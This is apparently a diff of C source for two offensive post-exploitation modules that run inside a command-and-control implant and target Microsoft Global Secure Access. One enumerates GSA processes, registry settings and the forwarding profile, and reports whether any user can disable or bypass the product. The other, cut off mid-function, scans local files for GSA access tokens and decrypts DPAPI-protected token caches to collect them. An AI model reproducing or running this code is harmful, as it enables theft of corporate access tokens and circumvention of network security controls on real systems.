BadgerDispatch(dispatch, "\n[*] === GSA Processes ===\n");
|
||||
|
||||
HANDLE hSnap = Kernel32$CreateToolhelp32Snapshot(0x00000002, 0);
|
||||
if (hSnap == INVALID_HANDLE_VALUE) { PrintError(dispatch, "Snapshot"); return; }
|
||||
|
||||
PROCESSENTRY32 pe;
|
||||
BadgerMemset(&pe, 0, sizeof(pe));
|
||||
pe.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
static const char *names[] = {
|
||||
"GlobalSecureAccessClient.exe",
|
||||
"GlobalSecureAccessTunnelingService.exe",
|
||||
"GlobalSecureAccessEngineService.exe",
|
||||
"GlobalSecureAccessPolicyRetrieverService.exe",
|
||||
"GlobalSecureAccessClientManagerService.exe",
|
||||
"GlobalSecureAccessForwardingProfileService.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
int found = 0;
|
||||
if (Kernel32$Process32First(hSnap, &pe)) {
|
||||
do {
|
||||
BOOL match = FALSE;
|
||||
for (int i = 0; names[i]; i++) {
|
||||
if (Msvcrt$_stricmp(pe.szExeFile, names[i]) == 0) { match = TRUE; break; }
|
||||
}
|
||||
if (!match)
|
||||
match = (Msvcrt$_strnicmp(pe.szExeFile, "GlobalSecureAccess", 18) == 0);
|
||||
|
||||
if (match) {
|
||||
BadgerDispatch(dispatch, "[+] PID: %-6lu PPID: %-6lu Threads: %-3lu %s\n",
|
||||
pe.th32ProcessID, pe.th32ParentProcessID, pe.cntThreads, pe.szExeFile);
|
||||
found++;
|
||||
}
|
||||
} while (Kernel32$Process32Next(hSnap, &pe));
|
||||
} else {
|
||||
PrintError(dispatch, "Process32First");
|
||||
}
|
||||
|
||||
Kernel32$CloseHandle(hSnap);
|
||||
if (!found) BadgerDispatch(dispatch, "[-] No GSA processes found\n");
|
||||
else BadgerDispatch(dispatch, "[*] Found %d GSA process(es)\n", found);
|
||||
}
|
||||
|
||||
void EnumRegistry(WCHAR **dispatch) {
|
||||
BadgerDispatch(dispatch, "\n[*] === GSA Registry ===\n");
|
||||
|
||||
DWORD regBufSize = 1024;
|
||||
PVOID regBuf = BadgerAlloc(regBufSize);
|
||||
if (!regBuf) { BadgerDispatch(dispatch, "[-] alloc failed\n"); return; }
|
||||
|
||||
char vname[128];
|
||||
DWORD nameLen, dataLen, type;
|
||||
HKEY hKey;
|
||||
|
||||
BadgerDispatch(dispatch, "\n [HKLM\\%s]\n", GSA_KEY);
|
||||
LONG status = Advapi32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, GSA_KEY, 0, KEY_READ, &hKey);
|
||||
if (status == 5)
|
||||
BadgerDispatch(dispatch, " [-] access denied\n");
|
||||
else if (status != ERROR_SUCCESS)
|
||||
BadgerDispatch(dispatch, " [-] not found (error %ld)\n", status);
|
||||
else {
|
||||
DWORD idx = 0;
|
||||
while (1) {
|
||||
nameLen = sizeof(vname);
|
||||
dataLen = regBufSize;
|
||||
BadgerMemset(vname, 0, sizeof(vname));
|
||||
BadgerMemset(regBuf, 0, regBufSize);
|
||||
|
||||
if (Advapi32$RegEnumValueA(hKey, idx, vname, &nameLen, NULL, &type, (LPBYTE)regBuf, &dataLen) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
if (Msvcrt$_stricmp(vname, "ForwardingProfile") == 0)
|
||||
BadgerDispatch(dispatch, " [+] %-40s = <JSON, %lu bytes>\n", vname, dataLen);
|
||||
else if ((type == REG_SZ || type == REG_EXPAND_SZ) && dataLen <= 200)
|
||||
BadgerDispatch(dispatch, " [+] %-40s = %s\n", vname, (char *)regBuf);
|
||||
else if ((type == REG_SZ || type == REG_EXPAND_SZ) && dataLen > 200)
|
||||
BadgerDispatch(dispatch, " [+] %-40s = <string, %lu bytes>\n", vname, dataLen);
|
||||
else if (type == REG_DWORD && dataLen >= 4)
|
||||
BadgerDispatch(dispatch, " [+] %-40s = 0x%08x (%lu)\n", vname, *(DWORD *)regBuf, *(DWORD *)regBuf);
|
||||
else if (type == REG_BINARY)
|
||||
BadgerDispatch(dispatch, " [+] %-40s = <binary, %lu bytes>\n", vname, dataLen);
|
||||
else if (type == REG_QWORD && dataLen >= 8)
|
||||
BadgerDispatch(dispatch, " [+] %-40s = 0x%llx\n", vname, *(unsigned long long *)regBuf);
|
||||
idx++;
|
||||
}
|
||||
if (!idx) BadgerDispatch(dispatch, " [-] empty\n");
|
||||
|
||||
idx = 0;
|
||||
while (1) {
|
||||
nameLen = sizeof(vname);
|
||||
BadgerMemset(vname, 0, sizeof(vname));
|
||||
if (Advapi32$RegEnumKeyExA(hKey, idx, vname, &nameLen, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break;
|
||||
BadgerDispatch(dispatch, " [+] Subkey: %s\n", vname);
|
||||
idx++;
|
||||
}
|
||||
Advapi32$RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
BadgerDispatch(dispatch, "\n [HKCU\\%s]\n", GSA_KEY_HKCU);
|
||||
status = Advapi32$RegOpenKeyExA(HKEY_CURRENT_USER, GSA_KEY_HKCU, 0, KEY_READ, &hKey);
|
||||
if (status != ERROR_SUCCESS) {
|
||||
BadgerDispatch(dispatch, " [-] not found\n");
|
||||
} else {
|
||||
DWORD idx = 0;
|
||||
while (1) {
|
||||
nameLen = sizeof(vname);
|
||||
dataLen = regBufSize;
|
||||
BadgerMemset(vname, 0, sizeof(vname));
|
||||
BadgerMemset(regBuf, 0, regBufSize);
|
||||
if (Advapi32$RegEnumValueA(hKey, idx, vname, &nameLen, NULL, &type, (LPBYTE)regBuf, &dataLen) != ERROR_SUCCESS)
|
||||
break;
|
||||
if (type == REG_SZ || type == REG_EXPAND_SZ)
|
||||
BadgerDispatch(dispatch, " [+] %-40s = %s\n", vname, (char *)regBuf);
|
||||
else if (type == REG_DWORD && dataLen >= 4)
|
||||
BadgerDispatch(dispatch, " [+] %-40s = 0x%08x (%lu)\n", vname, *(DWORD *)regBuf, *(DWORD *)regBuf);
|
||||
idx++;
|
||||
}
|
||||
if (!idx) BadgerDispatch(dispatch, " [-] empty\n");
|
||||
Advapi32$RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
BadgerFree(®Buf);
|
||||
|
||||
DWORD ipv6 = 0;
|
||||
if (ReadRegDword(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", &ipv6))
|
||||
BadgerDispatch(dispatch, "\n [IPv6] DisabledComponents = 0x%02x %s\n", ipv6,
|
||||
(ipv6 == 0x20) ? "(IPv4 preferred)" : (ipv6 == 0xFF) ? "(IPv6 disabled)" : "");
|
||||
else
|
||||
BadgerDispatch(dispatch, "\n [IPv6] DisabledComponents not set (IPv6 active)\n");
|
||||
}
|
||||
|
||||
void EnumSecurityPosture(WCHAR **dispatch) {
|
||||
BadgerDispatch(dispatch, "\n[*] === Security Posture ===\n");
|
||||
|
||||
DWORD val;
|
||||
|
||||
if (ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "RestrictNonPrivilegedUsers", &val))
|
||||
BadgerDispatch(dispatch, "[%s] RestrictNonPrivilegedUsers = %lu -> %s\n",
|
||||
val ? "*" : "!", val, val ? "UAC required to disable" : "any user can disable");
|
||||
else
|
||||
BadgerDispatch(dispatch, "[!] RestrictNonPrivilegedUsers not set -> any user can disable (default)\n");
|
||||
|
||||
if (ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "HideDisableButton", &val))
|
||||
BadgerDispatch(dispatch, "[%s] HideDisableButton = %lu -> %s\n",
|
||||
val ? "*" : "!", val, val ? "hidden" : "visible in tray");
|
||||
else
|
||||
BadgerDispatch(dispatch, "[!] HideDisableButton not set -> visible (default)\n");
|
||||
|
||||
if (ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "HideSignOutButton", &val))
|
||||
BadgerDispatch(dispatch, "[*] HideSignOutButton = %lu -> %s\n",
|
||||
val, val ? "hidden" : "visible (re-auth possible)");
|
||||
else
|
||||
BadgerDispatch(dispatch, "[*] HideSignOutButton not set -> hidden (default)\n");
|
||||
|
||||
if (ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "HideDisablePrivateAccessButton", &val))
|
||||
BadgerDispatch(dispatch, "[*] HideDisablePrivateAccessButton = %lu -> %s\n",
|
||||
val, val ? "hidden" : "visible (can bypass PA)");
|
||||
else
|
||||
BadgerDispatch(dispatch, "[*] HideDisablePrivateAccessButton not set -> hidden (default)\n");
|
||||
|
||||
if (ReadRegDword(HKEY_CURRENT_USER, GSA_KEY_HKCU, "IsPrivateAccessDisabledByUser", &val))
|
||||
BadgerDispatch(dispatch, "[%s] IsPrivateAccessDisabledByUser = %lu -> %s\n",
|
||||
(val == 1) ? "!" : "*", val, (val == 1) ? "Private Access BYPASSED" : "active");
|
||||
else
|
||||
BadgerDispatch(dispatch, "[*] IsPrivateAccessDisabledByUser not set -> active (default)\n");
|
||||
|
||||
char certCN[128];
|
||||
if (ReadRegString(HKEY_LOCAL_MACHINE, GSA_KEY, "CertCommonName", certCN, sizeof(certCN)))
|
||||
BadgerDispatch(dispatch, "[+] mTLS CertCommonName = %s\n", certCN);
|
||||
else
|
||||
BadgerDispatch(dispatch, "[*] mTLS CertCommonName not set\n");
|
||||
|
||||
DWORD r = 0, h = 0;
|
||||
BOOL hasR = ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "RestrictNonPrivilegedUsers", &r);
|
||||
BOOL hasH = ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "HideDisableButton", &h);
|
||||
|
||||
BadgerDispatch(dispatch, "\n --- Summary ---\n");
|
||||
if ((!hasR || !r) && (!hasH || !h))
|
||||
BadgerDispatch(dispatch, " [!] Any user can disable GSA from visible tray button\n");
|
||||
else if (!hasR || !r)
|
||||
BadgerDispatch(dispatch, " [!] Any user can disable GSA (button hidden but API accessible)\n");
|
||||
else
|
||||
BadgerDispatch(dispatch, " [*] UAC required to disable (hardened)\n");
|
||||
}
|
||||
|
||||
void EnumForwardingProfile(WCHAR **dispatch) {
|
||||
BadgerDispatch(dispatch, "\n[*] === Forwarding Profile ===\n");
|
||||
|
||||
char ts[128];
|
||||
if (ReadRegString(HKEY_LOCAL_MACHINE, GSA_KEY, "ForwardingProfileTimestamp", ts, sizeof(ts)))
|
||||
BadgerDispatch(dispatch, "[+] Last checked: %s\n", ts);
|
||||
|
||||
HKEY hKey;
|
||||
LONG s = Advapi32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, GSA_KEY, 0, KEY_READ, &hKey);
|
||||
if (s == 5) { BadgerDispatch(dispatch, "[-] access denied\n"); return; }
|
||||
if (s != ERROR_SUCCESS) { BadgerDispatch(dispatch, "[-] key not found\n"); return; }
|
||||
|
||||
DWORD type = 0, dataSize = 0;
|
||||
Advapi32$RegQueryValueExA(hKey, "ForwardingProfile", NULL, &type, NULL, &dataSize);
|
||||
if (!dataSize || (type != REG_SZ && type != REG_EXPAND_SZ)) {
|
||||
BadgerDispatch(dispatch, "[-] ForwardingProfile not found\n");
|
||||
Advapi32$RegCloseKey(hKey);
|
||||
return;
|
||||
}
|
||||
|
||||
BadgerDispatch(dispatch, "[+] Size: %lu bytes\n", dataSize);
|
||||
|
||||
PVOID buf = BadgerAlloc(dataSize + 1);
|
||||
if (!buf) { BadgerDispatch(dispatch, "[-] alloc failed\n"); Advapi32$RegCloseKey(hKey); return; }
|
||||
|
||||
BadgerMemset(buf, 0, dataSize + 1);
|
||||
if (Advapi32$RegQueryValueExA(hKey, "ForwardingProfile", NULL, &type, (LPBYTE)buf, &dataSize) != ERROR_SUCCESS) {
|
||||
BadgerDispatch(dispatch, "[-] read failed\n");
|
||||
BadgerFree(&buf);
|
||||
Advapi32$RegCloseKey(hKey);
|
||||
return;
|
||||
}
|
||||
Advapi32$RegCloseKey(hKey);
|
||||
|
||||
char *json = (char *)buf;
|
||||
|
||||
char *p = Msvcrt$strstr(json, "\"tenantId\"");
|
||||
if (!p) p = Msvcrt$strstr(json, "\"TenantId\"");
|
||||
if (p) {
|
||||
char *q = Msvcrt$strstr(p, ":\"");
|
||||
if (!q) q = Msvcrt$strstr(p, ": \"");
|
||||
if (q) {
|
||||
q = Msvcrt$strstr(q, "\"") + 1;
|
||||
char tid[64];
|
||||
BadgerMemset(tid, 0, sizeof(tid));
|
||||
int n = 0;
|
||||
while (*q && *q != '"' && n < 60) tid[n++] = *q++;
|
||||
BadgerDispatch(dispatch, "[+] Tenant ID: %s\n", tid);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL hasM365 = (Msvcrt$strstr(json, "m365") || Msvcrt$strstr(json, "M365") || Msvcrt$strstr(json, "microsoft365"));
|
||||
BOOL hasPrivate = (Msvcrt$strstr(json, "privateAccess") || Msvcrt$strstr(json, "PrivateAccess") || Msvcrt$strstr(json, "private"));
|
||||
BOOL hasInternet = (Msvcrt$strstr(json, "internetAccess") || Msvcrt$strstr(json, "InternetAccess") || Msvcrt$strstr(json, "internet"));
|
||||
|
||||
BadgerDispatch(dispatch, "[+] Channels: M365=%s Private=%s Internet=%s\n",
|
||||
hasM365 ? "yes" : "no", hasPrivate ? "yes" : "no", hasInternet ? "yes" : "no");
|
||||
|
||||
int rules = CountSubstring(json, "\"ruleId\"");
|
||||
if (!rules) rules = CountSubstring(json, "\"RuleId\"");
|
||||
int fqdns = CountSubstring(json, "\"fqdn\"");
|
||||
if (!fqdns) fqdns = CountSubstring(json, "\"Fqdn\"");
|
||||
int ips = CountSubstring(json, "\"ip\"");
|
||||
BadgerDispatch(dispatch, "[+] Rules: ~%d FQDN: ~%d IP: ~%d\n", rules, fqdns, ips);
|
||||
|
||||
p = Msvcrt$strstr(json, "globalsecureaccess.microsoft.com");
|
||||
if (p) {
|
||||
char *start = p;
|
||||
while (start > json && *(start - 1) != '"' && *(start - 1) != ' ') start--;
|
||||
char edge[256];
|
||||
BadgerMemset(edge, 0, sizeof(edge));
|
||||
int n = 0;
|
||||
while (*start && *start != '"' && *start != ',' && *start != '}' && n < 250)
|
||||
edge[n++] = *start++;
|
||||
BadgerDispatch(dispatch, "[+] Edge: %s\n", edge);
|
||||
}
|
||||
|
||||
if (Msvcrt$strstr(json, "\"block\"") || Msvcrt$strstr(json, "\"Block\""))
|
||||
BadgerDispatch(dispatch, "[+] Hardening: BLOCK\n");
|
||||
else if (Msvcrt$strstr(json, "\"bypass\"") || Msvcrt$strstr(json, "\"Bypass\""))
|
||||
BadgerDispatch(dispatch, "[+] Hardening: BYPASS\n");
|
||||
|
||||
BadgerDispatch(dispatch, "\n[*] === Full Forwarding Profile (%lu bytes) ===\n", dataSize);
|
||||
|
||||
size_t total = Msvcrt$strlen(json);
|
||||
size_t off = 0;
|
||||
while (off < total) {
|
||||
size_t chunk = total - off;
|
||||
if (chunk > 1800) chunk = 1800;
|
||||
char saved = json[off + chunk];
|
||||
json[off + chunk] = '\0';
|
||||
BadgerDispatch(dispatch, "%s", json + off);
|
||||
json[off + chunk] = saved;
|
||||
off += chunk;
|
||||
}
|
||||
BadgerDispatch(dispatch, "\n");
|
||||
|
||||
BadgerFree(&buf);
|
||||
}
|
||||
|
||||
void coffee(char **argv, int argc, WCHAR **dispatch) {
|
||||
g_dispatch = dispatch;
|
||||
|
||||
BadgerDispatch(dispatch, "============================================\n");
|
||||
BadgerDispatch(dispatch, " GSA Recon — Global Secure Access Enum\n");
|
||||
BadgerDispatch(dispatch, "============================================\n");
|
||||
|
||||
EnumInstallation(dispatch);
|
||||
EnumServices(dispatch);
|
||||
EnumProcesses(dispatch);
|
||||
EnumRegistry(dispatch);
|
||||
EnumSecurityPosture(dispatch);
|
||||
EnumForwardingProfile(dispatch);
|
||||
|
||||
BadgerDispatch(dispatch, "\n[*] Done\n");
|
||||
}
|
||||
@@ -0,0 +1,437 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
DECLSPEC_IMPORT DWORD Kernel32$GetLastError();
|
||||
DECLSPEC_IMPORT BOOL Kernel32$CloseHandle(HANDLE hObject);
|
||||
DECLSPEC_IMPORT BOOL Kernel32$FindClose(HANDLE hFindFile);
|
||||
DECLSPEC_IMPORT BOOL Kernel32$FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData);
|
||||
DECLSPEC_IMPORT HANDLE Kernel32$FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData);
|
||||
DECLSPEC_IMPORT DWORD Kernel32$GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh);
|
||||
DECLSPEC_IMPORT BOOL Kernel32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
|
||||
DECLSPEC_IMPORT HANDLE Kernel32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
DECLSPEC_IMPORT DWORD Kernel32$GetEnvironmentVariableA(LPCSTR lpName, LPSTR lpBuffer, DWORD nSize);
|
||||
DECLSPEC_IMPORT HLOCAL Kernel32$LocalFree(HLOCAL hMem);
|
||||
|
||||
DECLSPEC_IMPORT BOOL Crypt32$CryptUnprotectData(DATA_BLOB *pDataIn, LPWSTR *ppszDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, PVOID pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut);
|
||||
|
||||
DECLSPEC_IMPORT int Msvcrt$sprintf(char *buffer, const char *format, ...);
|
||||
DECLSPEC_IMPORT char *Msvcrt$strstr(const char *haystack, const char *needle);
|
||||
|
||||
#define MAX_JWT_LEN 8192
|
||||
#define MAX_TOKENS 16
|
||||
#define MAX_FILE_SIZE (512 * 1024)
|
||||
#define B64_DECODE_MAX 4096
|
||||
|
||||
typedef struct _GsaToken {
|
||||
char type[24];
|
||||
char audience[80];
|
||||
char scope[128];
|
||||
char source[MAX_PATH];
|
||||
DWORD expiry;
|
||||
int len;
|
||||
char jwt[MAX_JWT_LEN];
|
||||
} GsaToken;
|
||||
|
||||
static GsaToken g_found[MAX_TOKENS];
|
||||
static int g_count = 0;
|
||||
|
||||
static int b64_val(char c) {
|
||||
if (c >= 'A' && c <= 'Z') return c - 'A';
|
||||
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
|
||||
if (c >= '0' && c <= '9') return c - '0' + 52;
|
||||
if (c == '+') return 62;
|
||||
if (c == '/') return 63;
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int b64_decode(const char *in, int inLen, unsigned char *out, int outMax) {
|
||||
int j = 0;
|
||||
unsigned int acc = 0;
|
||||
int bits = 0;
|
||||
for (int i = 0; i < inLen && j < outMax; i++) {
|
||||
if (in[i] == '=' || in[i] == '\0') break;
|
||||
int v = b64_val(in[i]);
|
||||
if (v < 0) continue;
|
||||
acc = (acc << 6) | v;
|
||||
bits += 6;
|
||||
if (bits >= 8) {
|
||||
bits -= 8;
|
||||
out[j++] = (unsigned char)((acc >> bits) & 0xFF);
|
||||
}
|
||||
}
|
||||
return j;
|
||||
}
|
||||
|
||||
/* --- Base64url decode (for JWT payload) --- */
|
||||
static int b64url_val(char c) {
|
||||
if (c >= 'A' && c <= 'Z') return c - 'A';
|
||||
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
|
||||
if (c >= '0' && c <= '9') return c - '0' + 52;
|
||||
if (c == '-' || c == '+') return 62;
|
||||
if (c == '_' || c == '/') return 63;
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int b64url_decode(const char *in, int inLen, char *out, int outMax) {
|
||||
int j = 0;
|
||||
unsigned int acc = 0;
|
||||
int bits = 0;
|
||||
for (int i = 0; i < inLen && j < outMax - 1; i++) {
|
||||
if (in[i] == '=' || in[i] == '\0') break;
|
||||
int v = b64url_val(in[i]);
|
||||
if (v < 0) continue;
|
||||
acc = (acc << 6) | v;
|
||||
bits += 6;
|
||||
if (bits >= 8) {
|
||||
bits -= 8;
|
||||
out[j++] = (char)((acc >> bits) & 0xFF);
|
||||
}
|
||||
}
|
||||
out[j] = '\0';
|
||||
return j;
|
||||
}
|
||||
|
||||
static int IsJwtChar(unsigned char c) {
|
||||
return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') ||
|
||||
(c >= '0' && c <= '9') || c == '-' || c == '_' ||
|
||||
c == '.' || c == '+' || c == '/';
|
||||
}
|
||||
|
||||
static void ExtractField(const char *json, const char *field, char *out, int outMax) {
|
||||
out[0] = '\0';
|
||||
char key[64];
|
||||
int kl = 0;
|
||||
key[kl++] = '"';
|
||||
for (int i = 0; field[i] && kl < 60; i++) key[kl++] = field[i];
|
||||
key[kl++] = '"';
|
||||
key[kl++] = ':';
|
||||
key[kl] = '\0';
|
||||
|
||||
const char *p = Msvcrt$strstr(json, key);
|
||||
if (!p) return;
|
||||
p += kl;
|
||||
while (*p == ' ' || *p == '\t') p++;
|
||||
|
||||
if (*p == '"') {
|
||||
p++;
|
||||
int i = 0;
|
||||
while (*p && *p != '"' && i < outMax - 1) out[i++] = *p++;
|
||||
out[i] = '\0';
|
||||
} else {
|
||||
int i = 0;
|
||||
while (*p && *p != ',' && *p != '}' && *p != ' ' && i < outMax - 1) out[i++] = *p++;
|
||||
out[i] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
static const char *IdentifyGsaToken(const char *aud) {
|
||||
if (Msvcrt$strstr(aud, "e92b9b37")) return "TUNNEL";
|
||||
if (Msvcrt$strstr(aud, "b3fa0115")) return "APS";
|
||||
if (Msvcrt$strstr(aud, "79486f61")) return "PORTO";
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int IsDuplicate(const char *aud, DWORD exp) {
|
||||
for (int i = 0; i < g_count; i++) {
|
||||
if (BadgerStrcmp(g_found[i].audience, aud) == 0 && g_found[i].expiry == exp)
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void TryAddJwt(const char *jwt, int jwtLen, const char *source) {
|
||||
if (g_count >= MAX_TOKENS) return;
|
||||
if (jwtLen < 100 || jwtLen >= MAX_JWT_LEN) return;
|
||||
|
||||
int dot1 = -1, dot2 = -1, dots = 0;
|
||||
for (int i = 0; i < jwtLen; i++) {
|
||||
if (jwt[i] == '.') {
|
||||
dots++;
|
||||
if (dots == 1) dot1 = i;
|
||||
if (dots == 2) dot2 = i;
|
||||
}
|
||||
}
|
||||
if (dots < 2 || dot1 < 0 || dot2 <= dot1 + 1) return;
|
||||
|
||||
int payloadLen = dot2 - dot1 - 1;
|
||||
if (payloadLen > B64_DECODE_MAX - 1) return;
|
||||
|
||||
char *decoded = BadgerAlloc(B64_DECODE_MAX);
|
||||
if (!decoded) return;
|
||||
|
||||
int dLen = b64url_decode(jwt + dot1 + 1, payloadLen, decoded, B64_DECODE_MAX);
|
||||
if (dLen < 10 || decoded[0] != '{') {
|
||||
BadgerFree((PVOID *)&decoded);
|
||||
return;
|
||||
}
|
||||
|
||||
char aud[80];
|
||||
ExtractField(decoded, "aud", aud, sizeof(aud));
|
||||
|
||||
const char *type = IdentifyGsaToken(aud);
|
||||
if (!type) {
|
||||
BadgerFree((PVOID *)&decoded);
|
||||
return;
|
||||
}
|
||||
|
||||
char expStr[32];
|
||||
ExtractField(decoded, "exp", expStr, sizeof(expStr));
|
||||
DWORD exp = (DWORD)BadgerAtoi(expStr);
|
||||
|
||||
if (IsDuplicate(aud, exp)) {
|
||||
BadgerFree((PVOID *)&decoded);
|
||||
return;
|
||||
}
|
||||
|
||||
GsaToken *t = &g_found[g_count];
|
||||
BadgerMemset(t, 0, sizeof(GsaToken));
|
||||
|
||||
int tl = BadgerStrlen((char *)type);
|
||||
BadgerMemcpy(t->type, type, tl < 23 ? tl : 23);
|
||||
|
||||
int al = BadgerStrlen(aud);
|
||||
BadgerMemcpy(t->audience, aud, al < 79 ? al : 79);
|
||||
|
||||
ExtractField(decoded, "scp", t->scope, sizeof(t->scope));
|
||||
t->expiry = exp;
|
||||
|
||||
int sl = BadgerStrlen((char *)source);
|
||||
BadgerMemcpy(t->source, source, sl < MAX_PATH - 1 ? sl : MAX_PATH - 1);
|
||||
|
||||
t->len = jwtLen < MAX_JWT_LEN - 1 ? jwtLen : MAX_JWT_LEN - 1;
|
||||
BadgerMemcpy(t->jwt, jwt, t->len);
|
||||
|
||||
g_count++;
|
||||
BadgerFree((PVOID *)&decoded);
|
||||
}
|
||||
|
||||
static void ScanBufferForJwts(const unsigned char *data, DWORD dataLen, const char *source) {
|
||||
for (DWORD i = 0; i + 3 < dataLen; i++) {
|
||||
if (data[i] != 'e' || data[i + 1] != 'y' || data[i + 2] != 'J')
|
||||
continue;
|
||||
|
||||
int jwtLen = 0;
|
||||
while (i + jwtLen < dataLen && jwtLen < MAX_JWT_LEN - 1 && IsJwtChar(data[i + jwtLen]))
|
||||
jwtLen++;
|
||||
|
||||
if (jwtLen < 100) continue;
|
||||
|
||||
char *jwt = BadgerAlloc(jwtLen + 1);
|
||||
if (!jwt) continue;
|
||||
BadgerMemcpy(jwt, data + i, jwtLen);
|
||||
jwt[jwtLen] = '\0';
|
||||
TryAddJwt(jwt, jwtLen, source);
|
||||
BadgerFree((PVOID *)&jwt);
|
||||
|
||||
i += jwtLen - 1;
|
||||
}
|
||||
}
|
||||
|
||||
static char *Utf16ToNarrow(const unsigned char *data, DWORD dataLen, DWORD *outLen) {
|
||||
DWORD narrowLen = 0;
|
||||
for (DWORD i = 0; i < dataLen; i++) {
|
||||
if (data[i] != 0) narrowLen++;
|
||||
}
|
||||
|
||||
char *narrow = BadgerAlloc(narrowLen + 1);
|
||||
if (!narrow) return NULL;
|
||||
|
||||
DWORD j = 0;
|
||||
for (DWORD i = 0; i < dataLen; i++) {
|
||||
if (data[i] != 0) narrow[j++] = (char)data[i];
|
||||
}
|
||||
narrow[j] = '\0';
|
||||
*outLen = j;
|
||||
return narrow;
|
||||
}
|
||||
|
||||
static int IsUtf16LE(const unsigned char *data, DWORD dataLen) {
|
||||
if (dataLen < 4) return 0;
|
||||
if (data[0] == 0xFF && data[1] == 0xFE) return 1;
|
||||
if (data[1] == 0x00 && data[3] == 0x00) return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static const char *FindResponseBytesValue(const char *narrow, DWORD narrowLen, int *b64Len) {
|
||||
const char *marker = "IsProtected\":true,\"Value\":\"";
|
||||
const char *p = Msvcrt$strstr(narrow, marker);
|
||||
if (!p) {
|
||||
marker = "IsProtected\": true, \"Value\": \"";
|
||||
p = Msvcrt$strstr(narrow, marker);
|
||||
}
|
||||
if (!p) {
|
||||
marker = "IsProtected\":true,\"Value\": \"";
|
||||
p = Msvcrt$strstr(narrow, marker);
|
||||
}
|
||||
if (!p) return NULL;
|
||||
|
||||
int mlen = BadgerStrlen((char *)marker);
|
||||
const char *start = p + mlen;
|
||||
|
||||
int len = 0;
|
||||
while (start[len] && start[len] != '"') len++;
|
||||
|
||||
if (len < 16) return NULL;
|
||||
*b64Len = len;
|
||||
return start;
|
||||
}
|
||||
|
||||
static void ProcessFile(const char *filePath, WCHAR **dispatch) {
|
||||
HANDLE hFile = Kernel32$CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
DWORD fileSize = Kernel32$GetFileSize(hFile, NULL);
|
||||
if (fileSize == 0 || fileSize > MAX_FILE_SIZE) {
|
||||
Kernel32$CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned char *data = BadgerAlloc(fileSize);
|
||||
if (!data) { Kernel32$CloseHandle(hFile); return; }
|
||||
|
||||
DWORD bytesRead;
|
||||
if (!Kernel32$ReadFile(hFile, data, fileSize, &bytesRead, NULL)) {
|
||||
BadgerFree((PVOID *)&data);
|
||||
Kernel32$CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
Kernel32$CloseHandle(hFile);
|
||||
|
||||
int before = g_count;
|
||||
|
||||
DWORD narrowLen = 0;
|
||||
char *narrow = NULL;
|
||||
|
||||
if (IsUtf16LE(data, bytesRead)) {
|
||||
narrow = Utf16ToNarrow(data, bytesRead, &narrowLen);
|
||||
} else {
|
||||
narrowLen = bytesRead;
|
||||
narrow = BadgerAlloc(bytesRead + 1);
|
||||
if (narrow) {
|
||||
BadgerMemcpy(narrow, data, bytesRead);
|
||||
narrow[bytesRead] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
BadgerFree((PVOID *)&data);
|
||||
if (!narrow) return;
|
||||
|
||||
int b64Len = 0;
|
||||
const char *b64Str = FindResponseBytesValue(narrow, narrowLen, &b64Len);
|
||||
|
||||
if (b64Str && b64Len > 0) {
|
||||
int maxDecoded = (b64Len * 3) / 4 + 16;
|
||||
if (maxDecoded > MAX_FILE_SIZE) maxDecoded = MAX_FILE_SIZE;
|
||||
|
||||
unsigned char *dpapiBlob = BadgerAlloc(maxDecoded);
|
||||
if (dpapiBlob) {
|
||||
int blobLen = b64_decode(b64Str, b64Len, dpapiBlob, maxDecoded);
|
||||
|
||||
if (blobLen >= 64) {
|
||||
DATA_BLOB dataIn, dataOut;
|
||||
dataIn.pbData = dpapiBlob;
|
||||
dataIn.cbData = (DWORD)blobLen;
|
||||
BadgerMemset(&dataOut, 0, sizeof(DATA_BLOB));
|
||||
|
||||
if (Crypt32$CryptUnprotectData(&dataIn, NULL, NULL, NULL, NULL, 0, &dataOut)) {
|
||||
